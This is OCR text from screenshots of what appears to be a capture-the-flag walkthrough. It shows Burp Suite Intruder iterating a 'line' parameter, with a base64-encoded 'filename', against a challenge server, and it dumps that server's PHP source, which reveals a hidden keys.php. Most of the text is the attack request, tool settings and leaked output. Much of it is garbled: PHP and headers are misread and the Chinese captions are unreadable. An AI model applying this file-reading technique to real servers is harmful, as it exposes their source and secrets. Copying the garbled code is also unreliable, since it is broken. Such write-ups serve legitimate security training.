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Target | Positions I Payloads I Options ]

LEJ Payload Positions

Configure the positions where payloads wil be inserted into the base request. The attack type determines the way in which payloads are ass

Attack type: [ Sniper

GET sweb11/index.php?line=50Fadilename=aWskZ<gucGhw HTTP/1.1

Host: 123.206.87.240:8002

User-Agent: Mozilla/s.0 (Windows MT 10.0; Wingd; x64; rv67.0) Gecko/20100101 Firefow/67.0
Accept: text/html, application/<htrl +xml application/«ml;q=0.9*/*:q0=0.8
Accept-Language: zh-CM,zh;g=0.8,zh-TW;q=0.7,zh-HIK;q=0.5,en-U%q=0.3,en;q=0.2
Accept-Encoding: azip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

2.payloads 444 % snumber
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@ Payload Sets

%ou can define one or more payload sets. The number of payload sets depends on the attac
customized in different ways.

Payload zat: [ 1 | vJ Payload count: 31

Payload type: [Numhers |'J Request count: 31

Payload Options [Numbers]

=)

This payload type generates numeric payloads within a given range and in a specified forma

Number range

Type: {® Seguential () Random
From: o

To: 30

Step: 1

How many:

Number format

Base: (® Decimal () Hex

3. Exl: fEoptionsEff)Grep- Extract®, midiadd, “Aikexclude HTTP headers(HikriEkk), H—1=REKINE
%, RETHEFRFENAZL, LHEKstartfendiis B3R ELF.

£ .
E W Define extract grep item X
Burp Intruder Repeater Window Help

- | Define the location of the item to be extracted. Selecting the item in the response panel will create a suitable configuration automatically. You can
et ]' L) I ST ]' SETTE T g ~ also modify the configuration manually to ensure it works effectively.

12 [ [ Define start and end [ Extract from regex group

Target ]' Positions. I Payloads TOphms L

(%) Start after expression: (.E20rn
[ Exclude HTTP headers
() Start at offzet: 135 Case sensitive
?l Grep - Extract
6 These seftings can be used to extract uss @ End at delimiter: \rin
[ Extract the following items from respd O End at fixed length: 25

’ L] - Ll
Edit [ [ Exclude HTTP headers (] Update config based on selection below Refetch response

Remove HTTR/1.1 200 QI A
Server: nginx P
Duplicate Date: Thu, 20 Jun 201909:04:39 GMT

Content-Type: text/html
Connection: close
Content-Length: 27

L

$file_list[2]="keys.php"
& - s ]
7+

Clear

I

—

Maximum capture length: | 100
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Attack Save Columnsz

J Results T Target I Positions. I Payloads I Options ]

‘ Fitter: Showing all tems

Reguest & | Payload | Status | Error | Timeout | Length | \rin | Comment
0 200 O o 14 <?php

1 0 200 O o 14 <7php

2 1 200 O O 156 error_reporting(0};

3 2 200 O o 204 Sfile=basefd_decode(is...
4 3 200 O O 188 Sline=isset(S_GET[lineT)...
5 4 200 O 0o 208 if($file==") header("locati...
3 5 200 O O 156 Sfile_list = array(

7 6 200 O 0o 154 0 =>'keys txt,

8 7 200 O o 155 1" =>'index.php’,

9 3 200 O o 133 %

10 9 200 ] [T

1 10 200 ] [T if(isset(S_COOKIE[margi...
12 1 200 ] 0o 182 Sfile_list[Z]="keys.php';

13 12 200 ] [T i

14 13 200 ] [T

15 14 200 ] o 189 if(in_arrayifile, Sfile_list...
18 15 200 ] 0 158 Sfa = file(Sfile);

17 16 200 a a 153 echo Sfa[Sline];

18 17 200 ] [T i

19 18 200 ] o 138 7>

20 19 200 ] 0 134

21 20 200 ] 0 134

22 21 200 ] 0 134

23 22 200 ] 0 134

S5. XM e, BINEHEEAIHEEER—FIRAFR - XM ESHE. Rk LHsave->result table
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Attack m Columns.

Server responses

’— Aﬂlack configuration | p— | =
ETHAREITNAEY, Riisave. RXBELZFR\N\N. ZXHERSmE N0, REHEREAT.

Reguest L| Payload | Status | Error | Timeout | Length | \rin | Comment
1 o <?php
2 4 Save results table > error_reporting(0):
3 2 Sfile=basefd_decodelis. .
4 3 @ All rows m Save header row Sline=isset(S_GETTline])...
5 4 () Selected rows Delimiter: (& Tab ) Custom: El ifSfile=="} header("locati...
& 5 Sfile_list = array(
T 6| [ Wrap data safely for Microsoft Excel 0" =="keys tat',
3 T 1" =="index.php’,
9 8 Include columns: %
1 g [J Reguest [ Payload Select all
a

1 1 ;J iflisset(3_COCKIE]
12 ) ] status [ Time of day ;Slss i (ts_ N [‘:-IE:FQI
1 ) ] Response received ] Response completed Select none le_lstiZ]="keys.phe’
10 ) O Error [ Timeout !
15 ) [ Length [ Cookies Save i Sfile. Sfile list

& v B Commens iflin_array’ n:-:, le_list...
18 1 — Sfa = file(Sfile);
17 1 echo Sfa[Sline];



end
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